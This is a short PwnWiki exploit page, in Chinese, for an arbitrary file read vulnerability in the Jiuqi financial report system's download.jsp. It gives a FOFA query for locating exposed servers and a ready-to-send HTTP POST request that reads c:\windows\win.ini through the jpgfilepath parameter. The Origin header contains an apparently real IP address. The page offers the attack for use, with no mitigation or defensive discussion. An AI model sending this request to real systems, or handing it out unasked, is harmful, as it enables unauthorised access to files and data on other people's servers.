久其財務報表 download.jsp 任意文件讀取漏洞

From PwnWiki
Revision as of 14:39, 9 June 2021 by Pwnwiki (talk | contribs) (Created page with "<languages /> ==FOFA== <pre> body="/netrep/" </pre> <translate> ==漏洞利用== </translate> <translate> 發送以下請求： </translate> <pre> POST /netrep/ebook/browse/...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎中文（繁體）‎

FOFA

body="/netrep/"

漏洞利用

發送以下請求： 

POST /netrep/ebook/browse/download.jsp HTTP/1.1
Host: 
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.251.113.53:7002
Content-Type: application/x-www-form-urlencoded

jpgfilepath=c:\windows\win.ini
Retrieved from "https://pwnwiki.com/index.php?title=久其財務報表_download.jsp_任意文件讀取漏洞&oldid=4335"